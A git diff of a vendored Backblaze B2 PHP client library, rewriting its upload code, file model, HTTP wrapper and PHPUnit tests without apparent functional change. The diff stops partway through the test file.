$buckets = $this->listBuckets(); + + foreach ($buckets as $bucket) { + if ($bucket->getName() === $name) { + return $bucket->getId(); + } + } + } + + /** + * Maps the provided bucket ID to the appropriate bucket name. + * + * @param $id + * + * @return mixed + */ + protected function getBucketNameFromId($id) + { + $buckets = $this->listBuckets(); + + foreach ($buckets as $bucket) { + if ($bucket->getId() === $id) { + return $bucket->getName(); + } + } + } + + /** + * @param $bucketName + * @param $fileName + * + * @return mixed + */ + protected function getFileIdFromBucketAndFileName($bucketName, $fileName) + { + $files = $this->listFiles([ + 'BucketName' => $bucketName, + 'FileName' => $fileName, + ]); + + foreach ($files as $file) { + if ($file->getName() === $fileName) { + return $file->getId(); + } + } + } + + /** + * Uploads a large file using b2 large file procedure. + * + * @param array $options + * + * @return File + */ + public function uploadLargeFile(array $options) + { + if (substr($options['FileName'], 0, 1) === '/') { + $options['FileName'] = ltrim($options['FileName'], '/'); + } + + //if last char of path is not a "/" then add a "/" + if (substr($options['FilePath'], -1) != '/') { + $options['FilePath'] = $options['FilePath'].'/'; + } + + if (!isset($options['BucketId']) && isset($options['BucketName'])) { + $options['BucketId'] = $this->getBucketIdFromName($options['BucketName']); + } + + if (!isset($options['FileContentType'])) { + $options['FileContentType'] = 'b2/x-auto'; + } + + $this->authorizeAccount(); + + // 1) b2_start_large_file, (returns fileId) + $start = $this->startLargeFile($options['FileName'], $options['FileContentType'], $options['BucketId']); + + // 2) b2_get_upload_part_url for each thread uploading (takes fileId) + $url = $this->getUploadPartUrl($start['fileId']); + + // 3) b2_upload_part for each part of the file + $parts = $this->uploadParts($options['FilePath'].$options['FileName'], $url['uploadUrl'], $url['authorizationToken'], $options); + + $sha1s = []; + + foreach ($parts as $part) { + $sha1s[] = $part['contentSha1']; + } + + // 4) b2_finish_large_file. + return $this->finishLargeFile($start['fileId'], $sha1s); + } + + /** + * Starts the large file upload process. + * + * @param $fileName + * @param $contentType + * @param $bucketId + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return mixed + */ + protected function startLargeFile($fileName, $contentType, $bucketId) + { + return $this->sendAuthorizedRequest('POST', 'b2_start_large_file', [ + 'fileName' => $fileName, + 'contentType' => $contentType, + 'bucketId' => $bucketId, + ]); + } + + /** + * Gets the url for the next large file part upload. + * + * @param $fileId + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return mixed + */ + protected function getUploadPartUrl($fileId) + { + return $this->sendAuthorizedRequest('POST', 'b2_get_upload_part_url', [ + 'fileId' => $fileId, + ]); + } + + /** + * Uploads the file as "parts" of 100MB each. + * + * @param $filePath + * @param $uploadUrl + * @param $largeFileAuthToken + * @param $options + * + * @return array + */ + protected function uploadParts($filePath, $uploadUrl, $largeFileAuthToken, $options = []) + { + $return = []; + + $minimum_part_size = 100 * (1000 * 1000); + + $local_file_size = filesize($filePath); + $total_bytes_sent = 0; + $bytes_sent_for_part = $minimum_part_size; + $sha1_of_parts = []; + $part_no = 1; + $file_handle = fopen($filePath, 'r'); + + while ($total_bytes_sent < $local_file_size) { + + // Determine the number of bytes to send based on the minimum part size + if (($local_file_size - $total_bytes_sent) < $minimum_part_size) { + $bytes_sent_for_part = ($local_file_size - $total_bytes_sent); + } + + // Get a sha1 of the part we are going to send + fseek($file_handle, $total_bytes_sent); + $data_part = fread($file_handle, $bytes_sent_for_part); + array_push($sha1_of_parts, sha1($data_part)); + fseek($file_handle, $total_bytes_sent); + + $customHeaders = $options['Headers'] ?? []; + $response = $this->client->guzzleRequest('POST', $uploadUrl, [ + 'headers' => array_merge([ + 'Authorization' => $largeFileAuthToken, + 'Content-Length' => $bytes_sent_for_part, + 'X-Bz-Part-Number' => $part_no, + 'X-Bz-Content-Sha1' => $sha1_of_parts[$part_no - 1], + ], $customHeaders), + 'body' => $data_part, + ]); + + $return[] = $response; + + // Prepare for the next iteration of the loop + $part_no++; + $total_bytes_sent = $bytes_sent_for_part + $total_bytes_sent; + } + + fclose($file_handle); + + return $return; + } + + /** + * Finishes the large file upload procedure. + * + * @param $fileId + * @param array $sha1s + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return File + */ + protected function finishLargeFile($fileId, array $sha1s) + { + $response = $this->sendAuthorizedRequest('POST', 'b2_finish_large_file', [ + 'fileId' => $fileId, + 'partSha1Array' => $sha1s, + ]); + + return new File( + $response['fileId'], + $response['fileName'], + $response['contentSha1'], + $response['contentLength'], + $response['contentType'], + $response['fileInfo'], + $response['bucketId'], + $response['action'], + $response['uploadTimestamp'] + ); + } + + /** + * Sends a authorized request to b2 API. + * + * @param string $method + * @param string $route + * @param array $json + * + * @throws GuzzleException If the request fails. + * @throws B2Exception If the B2 server replies with an error. + * + * @return mixed + */ + protected function sendAuthorizedRequest($method, $route, $json = []) + { + $this->authorizeAccount(); + + return $this->client->guzzleRequest($method, $this->apiUrl.$route, [ + 'headers' => [ + 'Authorization' => $this->authToken, + ], + 'json' => $json, + ]); + } +} diff --git a/vendor/gliterd/backblaze-b2/src/Exceptions/BucketAlreadyExistsException.php b/vendor/gliterd/backblaze-b2/src/Exceptions/BucketAlreadyExistsException.php index 51b2681ccc..af6b8223a1 100644 --- a/vendor/gliterd/backblaze-b2/src/Exceptions/BucketAlreadyExistsException.php +++ b/vendor/gliterd/backblaze-b2/src/Exceptions/BucketAlreadyExistsException.php @@ -1,7 +1,7 @@ -id = $id; - $this->name = $name; - $this->hash = $hash; - $this->size = $size; - $this->type = $type; - $this->info = $info; - $this->bucketId = $bucketId; - $this->action = $action; - $this->uploadTimestamp = $uploadTimestamp; - } - - /** - * @return array - * */ - public function jsonSerialize() - { - return [ - 'id' => $this->getId(), - 'name' => $this->getName(), - 'hash' => $this->getHash(), - 'size' => $this->getSize(), - 'type' => $this->getType(), - 'info' => $this->getInfo(), - 'bucketId' => $this->getBucketId(), - 'action' => $this->getAction(), - 'uploadTimestamp' => $this->getUploadTimestamp(), - ]; - } - - /** - * @return string - */ - public function getId() - { - return $this->id; - } - - /** - * @return string - */ - public function getName() - { - return $this->name; - } - - /** - * @return string - */ - public function getHash() - { - return $this->hash; - } - - /** - * @return int - */ - public function getSize() - { - return $this->size; - } - - /** - * @return string - */ - public function getType() - { - return $this->type; - } - - /** - * @return array - */ - public function getInfo() - { - return $this->info; - } - - /** - * @return string - */ - public function getBucketId() - { - return $this->bucketId; - } - - /** - * @return string - */ - public function getAction() - { - return $this->action; - } - - /** - * @return string - */ - public function getUploadTimestamp() - { - return $this->uploadTimestamp; - } -} +id = $id; + $this->name = $name; + $this->hash = $hash; + $this->size = $size; + $this->type = $type; + $this->info = $info; + $this->bucketId = $bucketId; + $this->action = $action; + $this->uploadTimestamp = $uploadTimestamp; + } + + /** + * @return array + * */ + public function jsonSerialize() + { + return [ + 'id' => $this->getId(), + 'name' => $this->getName(), + 'hash' => $this->getHash(), + 'size' => $this->getSize(), + 'type' => $this->getType(), + 'info' => $this->getInfo(), + 'bucketId' => $this->getBucketId(), + 'action' => $this->getAction(), + 'uploadTimestamp' => $this->getUploadTimestamp(), + ]; + } + + /** + * @return string + */ + public function getId() + { + return $this->id; + } + + /** + * @return string + */ + public function getName() + { + return $this->name; + } + + /** + * @return string + */ + public function getHash() + { + return $this->hash; + } + + /** + * @return int + */ + public function getSize() + { + return $this->size; + } + + /** + * @return string + */ + public function getType() + { + return $this->type; + } + + /** + * @return array + */ + public function getInfo() + { + return $this->info; + } + + /** + * @return string + */ + public function getBucketId() + { + return $this->bucketId; + } + + /** + * @return string + */ + public function getAction() + { + return $this->action; + } + + /** + * @return string + */ + public function getUploadTimestamp() + { + return $this->uploadTimestamp; + } +} diff --git a/vendor/gliterd/backblaze-b2/src/Http/Client.php b/vendor/gliterd/backblaze-b2/src/Http/Client.php index d2e8c8d612..d085de248c 100644 --- a/vendor/gliterd/backblaze-b2/src/Http/Client.php +++ b/vendor/gliterd/backblaze-b2/src/Http/Client.php @@ -1,43 +1,43 @@ -getStatusCode() !== 200) { - ErrorHandler::handleErrorResponse($response); - } - - if ($asJson) { - return json_decode($response->getBody(), true); - } - - return $response->getBody()->getContents(); - } -} +getStatusCode() !== 200) { + ErrorHandler::handleErrorResponse($response); + } + + if ($asJson) { + return json_decode($response->getBody(), true); + } + + return $response->getBody()->getContents(); + } +} diff --git a/vendor/gliterd/backblaze-b2/tests/ClientTest.php b/vendor/gliterd/backblaze-b2/tests/ClientTest.php index c0be393b61..f8e0a4d749 100644 --- a/vendor/gliterd/backblaze-b2/tests/ClientTest.php +++ b/vendor/gliterd/backblaze-b2/tests/ClientTest.php @@ -1,633 +1,633 @@ -buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'create_bucket_public.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - // Test that we get a public bucket back after creation - $bucket = $client->createBucket([ - 'BucketName' => 'Test bucket', - 'BucketType' => Bucket::TYPE_PUBLIC, - ]); - - $this->assertInstanceOf(Bucket::class, $bucket); - $this->assertEquals('Test bucket', $bucket->getName()); - $this->assertEquals(Bucket::TYPE_PUBLIC, $bucket->getType()); - } - - public function testCreatePrivateBucket() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'create_bucket_private.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - // Test that we get a private bucket back after creation - $bucket = $client->createBucket([ - 'BucketName' => 'Test bucket', - 'BucketType' => Bucket::TYPE_PRIVATE, - ]); - $this->assertInstanceOf(Bucket::class, $bucket); - $this->assertEquals('Test bucket', $bucket->getName()); - $this->assertEquals(Bucket::TYPE_PRIVATE, $bucket->getType()); - } - - public function testBucketAlreadyExistsExceptionThrown() - { - $this->expectException(BucketAlreadyExistsException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'create_bucket_exists.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - $client->createBucket([ - 'BucketName' => 'I already exist', - 'BucketType' => Bucket::TYPE_PRIVATE, - ]); - } - - public function testInvalidBucketTypeThrowsException() - { - $this->expectException(ValidationException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - $client->createBucket([ - 'BucketName' => 'Test bucket', - 'BucketType' => 'i am not valid', - ]); - } - - public function testUpdateBucketToPrivate() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'update_bucket_to_private.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $bucket = $client->updateBucket([ - 'BucketId' => 'bucketId', - 'BucketType' => Bucket::TYPE_PRIVATE, - ]); - - $this->assertInstanceOf(Bucket::class, $bucket); - $this->assertEquals('bucketId', $bucket->getId()); - $this->assertEquals(Bucket::TYPE_PRIVATE, $bucket->getType()); - } - - public function testUpdateBucketToPublic() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'update_bucket_to_public.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $bucket = $client->updateBucket([ - 'BucketId' => 'bucketId', - 'BucketType' => Bucket::TYPE_PUBLIC, - ]); - - $this->assertInstanceOf(Bucket::class, $bucket); - $this->assertEquals('bucketId', $bucket->getId()); - $this->assertEquals(Bucket::TYPE_PUBLIC, $bucket->getType()); - } - - public function testList3Buckets() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'list_buckets_3.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $buckets = $client->listBuckets(); - $this->assertIsArray($buckets); - $this->assertCount(3, $buckets); - $this->assertInstanceOf(Bucket::class, $buckets[0]); - } - - public function testEmptyArrayWithNoBuckets() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'list_buckets_0.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $buckets = $client->listBuckets(); - $this->assertIsArray($buckets); - $this->assertCount(0, $buckets); - } - - public function testDeleteBucket() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'delete_bucket.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $this->assertTrue($client->deleteBucket([ - 'BucketId' => 'bucketId', - ])); - } - - public function testBadJsonThrownDeletingNonExistentBucket() - { - $this->expectException(BadJsonException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'delete_bucket_non_existent.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->deleteBucket([ - 'BucketId' => 'bucketId', - ]); - } - - public function testBucketNotEmptyThrownDeletingNonEmptyBucket() - { - $this->expectException(BucketNotEmptyException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'bucket_not_empty.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->deleteBucket([ - 'BucketId' => 'bucketId', - ]); - } - - public function testUploadingResource() - { - $container = []; - $history = Middleware::history($container); - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_upload_url.json'), - $this->buildResponseFromStub(200, [], 'upload.json'), - ], $history); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - // Set up the resource being uploaded. - $content = 'The quick brown box jumps over the lazy dog'; - $resource = fopen('php://memory', 'r+'); - fwrite($resource, $content); - rewind($resource); - - $file = $client->upload([ - 'BucketId' => 'bucketId', - 'FileName' => 'test.txt', - 'Body' => $resource, - ]); - - $this->assertInstanceOf(File::class, $file); - - // We'll also check the Guzzle history to make sure the upload request got created correctly. - $uploadRequest = $container[2]['request']; - $this->assertEqualsWithDelta('uploadUrl', $uploadRequest->getRequestTarget(), 0); - $this->assertEqualsWithDelta('authToken', $uploadRequest->getHeader('Authorization')[0], 0); - $this->assertEqualsWithDelta(strlen($content), $uploadRequest->getHeader('Content-Length')[0], 0); - $this->assertEqualsWithDelta('test.txt', $uploadRequest->getHeader('X-Bz-File-Name')[0], 0); - $this->assertEqualsWithDelta(sha1($content), $uploadRequest->getHeader('X-Bz-Content-Sha1')[0], 0); - $this->assertEqualsWithDelta( - round(microtime(true) * 1000), - $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0], - 100 - ); - $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); - } - - public function testUploadingString() - { - $container = []; - $history = Middleware::history($container); - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_upload_url.json'), - $this->buildResponseFromStub(200, [], 'upload.json'), - ], $history); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $content = 'The quick brown box jumps over the lazy dog'; - - $file = $client->upload([ - 'BucketId' => 'bucketId', - 'FileName' => 'test.txt', - 'Body' => $content, - ]); - - $this->assertInstanceOf(File::class, $file); - - // We'll also check the Guzzle history to make sure the upload request got created correctly. - $uploadRequest = $container[2]['request']; - $this->assertEqualsWithDelta('uploadUrl', $uploadRequest->getRequestTarget(), 0.0); - $this->assertEqualsWithDelta('authToken', $uploadRequest->getHeader('Authorization')[0], 0.0); - $this->assertEqualsWithDelta(strlen($content), $uploadRequest->getHeader('Content-Length')[0], 0.0); - $this->assertEqualsWithDelta('test.txt', $uploadRequest->getHeader('X-Bz-File-Name')[0], 0.0); - $this->assertEqualsWithDelta(sha1($content), $uploadRequest->getHeader('X-Bz-Content-Sha1')[0], 0.0); - $this->assertEqualsWithDelta( - round(microtime(true) * 1000), - $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0], - 100 - ); - $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); - } - - public function testUploadingWithCustomContentTypeAndLastModified() - { - $container = []; - $history = Middleware::history($container); - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_upload_url.json'), - $this->buildResponseFromStub(200, [], 'upload.json'), - ], $history); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - // My birthday :) - $lastModified = 701568000000; - $contentType = 'text/plain'; - - $file = $client->upload([ - 'BucketId' => 'bucketId', - 'FileName' => 'test.txt', - 'Body' => 'Test file content', - 'FileContentType' => $contentType, - 'FileLastModified' => $lastModified, - ]); - - $this->assertInstanceOf(File::class, $file); - - // We'll also check the Guzzle history to make sure the upload request got created correctly. - $uploadRequest = $container[2]['request']; - $this->assertEquals($lastModified, $uploadRequest->getHeader('X-Bz-Info-src_last_modified_millis')[0]); - $this->assertEquals($contentType, $uploadRequest->getHeader('Content-Type')[0]); - $this->assertInstanceOf(Stream::class, $uploadRequest->getBody()); - } - - public function testDownloadUrl() - { - $authorizeAccountString = file_get_contents(dirname(__FILE__).'/responses/authorize_account.json'); - $authorizeAccount = json_decode($authorizeAccountString); - $expectedFileContents = 'foo'; - $uriResponses = [ - 'https://api.backblazeb2.com/b2api/v1//b2_authorize_account' => $authorizeAccountString, - $authorizeAccount->downloadUrl.'/b2api/v1/b2_download_file_by_id' => $expectedFileContents, - ]; - - $clientMock = $this->getMockBuilder(\BackblazeB2\Http\Client::class)->getMock(); - $mockGuzzleRequest = function ($method, $uri = null, array $options = [], $asJson = true) use ($uriResponses) { - if (isset($options['headers']) && array_key_exists('Authorization', $options['headers'])) { - //If header is present, it must not be empty - $this->assertNotEmpty($options['headers']['Authorization'], sprintf('No authorization for uri %s', $uri)); - } - - if (isset($uriResponses[$uri])) { - $response = new \GuzzleHttp\Psr7\Response(200, [], $uriResponses[$uri]); - } else { - $response = new \GuzzleHttp\Psr7\Response(404, [], null); - } - - if ($asJson) { - return json_decode($response->getBody(), true); - } - - return $response->getBody()->getContents(); - }; - - $clientMock->expects($this->any()) - ->method('guzzleRequest') - ->will($this->returnCallback($mockGuzzleRequest)); - - $client = new Client('testId', 'testKey', ['client' => $clientMock]); - $actualFileContents = $client->download([ - 'FileId' => 'fileId', - ]); - - $this->assertSame($expectedFileContents, $actualFileContents); - } - - public function testDownloadByIdWithoutSavePath() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'download_content'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $fileContent = $client->download([ - 'FileId' => 'fileId', - ]); - - $this->assertEquals($fileContent, 'The quick brown fox jumps over the lazy dog'); - } - - public function testDownloadByIdWithSavePath() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'download_content'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->download([ - 'FileId' => 'fileId', - 'SaveAs' => __DIR__.'/test.txt', - ]); - - $this->assertFileExists(__DIR__.'/test.txt'); - $this->assertEquals('The quick brown fox jumps over the lazy dog', file_get_contents(__DIR__.'/test.txt')); - - unlink(__DIR__.'/test.txt'); - } - - public function testDownloadingByIncorrectIdThrowsException() - { - $this->expectException(BadValueException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'download_by_incorrect_id.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->download([ - 'FileId' => 'incorrect', - ]); - } - - public function testDownloadByPathWithoutSavePath() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'download_content'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $fileContent = $client->download([ - 'BucketName' => 'test-bucket', - 'FileName' => 'test.txt', - ]); - - $this->assertEquals($fileContent, 'The quick brown fox jumps over the lazy dog'); - } - - public function testDownloadByPathWithSavePath() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'download_content'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->download([ - 'BucketName' => 'test-bucket', - 'FileName' => 'test.txt', - 'SaveAs' => __DIR__.'/test.txt', - ]); - - $this->assertFileExists(__DIR__.'/test.txt'); - $this->assertEquals('The quick brown fox jumps over the lazy dog', file_get_contents(__DIR__.'/test.txt')); - - unlink(__DIR__.'/test.txt'); - } - - public function testDownloadingByIncorrectPathThrowsException() - { - $this->expectException(NotFoundException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'download_by_incorrect_path.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->download([ - 'BucketName' => 'test-bucket', - 'FileName' => 'path/to/incorrect/file.txt', - ]); - } - - public function testListFilesHandlesMultiplePages() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'list_files_page1.json'), - $this->buildResponseFromStub(200, [], 'list_files_page2.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $files = $client->listFiles([ - 'BucketId' => 'bucketId', - ]); - - $this->assertIsArray($files); - $this->assertInstanceOf(File::class, $files[0]); - $this->assertCount(1500, $files); - } - - public function testListFilesReturnsEmptyArrayWithNoFiles() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'list_files_empty.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $files = $client->listFiles([ - 'BucketId' => 'bucketId', - ]); - - $this->assertIsArray($files); - $this->assertCount(0, $files); - } - - public function testGetFile() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_file.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $file = $client->getFile([ - 'FileId' => 'fileId', - ]); - - $this->assertInstanceOf(File::class, $file); - } - - public function testGettingNonExistentFileThrowsException() - { - $this->expectException(BadJsonException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'get_file_non_existent.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->getFile([ - 'FileId' => 'fileId', - ]); - } - - public function testCopyFile() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'list_files_page1.json'), - $this->buildResponseFromStub(200, [], 'copy_file.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $actual = $client->copy([ - 'BucketId' => 'sourceBucketId', - 'FileName' => 'sourceFileName', - 'SaveAs' => 'destinationFileName', - ]); - - $this->assertInstanceOf('BackblazeB2\File', $actual); - $this->assertEquals('4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010', $actual->getId()); - } - - public function testDeleteFile() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_file.json'), - $this->buildResponseFromStub(200, [], 'delete_file.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $this->assertTrue($client->deleteFile([ - 'FileId' => 'fileId', - ])); - } - - public function testDeleteFileRetrievesFileNameWhenNotProvided() - { - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'get_file.json'), - $this->buildResponseFromStub(200, [], 'delete_file.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $this->assertTrue($client->deleteFile([ - 'FileId' => 'fileId', - ])); - } - - public function testDeletingNonExistentFileThrowsException() - { - $this->expectException(BadJsonException::class); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(400, [], 'delete_file_non_existent.json'), - ]); - - $client = new Client('testId', 'testKey', ['client' => $guzzle]); - - $client->deleteFile([ - 'FileId' => 'fileId', - 'FileName' => 'fileName', - ]); - } - - public function testAuthenticationTimeout() - { - $reflectionClass = new ReflectionClass('BackblazeB2\Client'); - $reflectionProperty = $reflectionClass->getProperty('reAuthTime'); - $reflectionProperty->setAccessible(true); - - $guzzle = $this->buildGuzzleFromResponses([ - $this->buildResponseFromStub(200, [], 'authorize_account.json'), - $this->buildResponseFromStub(200, [], 'create_bucket_public.json'), - ]); - - $client = new Client( - 'testId', - 'testKey', - [ - 'client' => $guzzle, - 'auth_timeout_seconds' => 2, - ] - ); - - $curTime = $reflectionProperty->getValue($client); - sleep(5); // let the token timeout - - // Something that will reaturhorize - $bucket = $client->createBucket([ - 'BucketName' => 'Test bucket', - 'BucketType' => Bucket::TYPE_PUBLIC, - ]); - - $newTime = $reflectionProperty->getValue($client); - $this->assertTrue($curTime->timestamp != $newTime->timestamp); - } -} +buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'create_bucket_public.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + // Test that we get a public bucket back after creation + $bucket = $client->createBucket([ + 'BucketName' => 'Test bucket', + 'BucketType' => Bucket::TYPE_PUBLIC, + ]); + + $this->assertInstanceOf(Bucket::class, $bucket); + $this->assertEquals('Test bucket', $bucket->getName()); + $this->assertEquals(Bucket::TYPE_PUBLIC, $bucket->getType()); + } + + public function testCreatePrivateBucket() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'create_bucket_private.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + // Test that we get a private bucket back after creation + $bucket = $client->createBucket([ + 'BucketName' => 'Test bucket', + 'BucketType' => Bucket::TYPE_PRIVATE, + ]); + $this->assertInstanceOf(Bucket::class, $bucket); + $this->assertEquals('Test bucket', $bucket->getName()); + $this->assertEquals(Bucket::TYPE_PRIVATE, $bucket->getType()); + } + + public function testBucketAlreadyExistsExceptionThrown() + { + $this->expectException(BucketAlreadyExistsException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(400, [], 'create_bucket_exists.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + $client->createBucket([ + 'BucketName' => 'I already exist', + 'BucketType' => Bucket::TYPE_PRIVATE, + ]); + } + + public function testInvalidBucketTypeThrowsException() + { + $this->expectException(ValidationException::class); + + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + $client->createBucket([ + 'BucketName' => 'Test bucket', + 'BucketType' => 'i am not valid', + ]); + } + + public function testUpdateBucketToPrivate() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'update_bucket_to_private.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $bucket = $client->updateBucket([ + 'BucketId' => 'bucketId', + 'BucketType' => Bucket::TYPE_PRIVATE, + ]); + + $this->assertInstanceOf(Bucket::class, $bucket); + $this->assertEquals('bucketId', $bucket->getId()); + $this->assertEquals(Bucket::TYPE_PRIVATE, $bucket->getType()); + } + + public function testUpdateBucketToPublic() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'update_bucket_to_public.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $bucket = $client->updateBucket([ + 'BucketId' => 'bucketId', + 'BucketType' => Bucket::TYPE_PUBLIC, + ]); + + $this->assertInstanceOf(Bucket::class, $bucket); + $this->assertEquals('bucketId', $bucket->getId()); + $this->assertEquals(Bucket::TYPE_PUBLIC, $bucket->getType()); + } + + public function testList3Buckets() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 'list_buckets_3.json'), + ]); + + $client = new Client('testId', 'testKey', ['client' => $guzzle]); + + $buckets = $client->listBuckets(); + $this->assertIsArray($buckets); + $this->assertCount(3, $buckets); + $this->assertInstanceOf(Bucket::class, $buckets[0]); + } + + public function testEmptyArrayWithNoBuckets() + { + $guzzle = $this->buildGuzzleFromResponses([ + $this->buildResponseFromStub(200, [], 'authorize_account.json'), + $this->buildResponseFromStub(200, [], 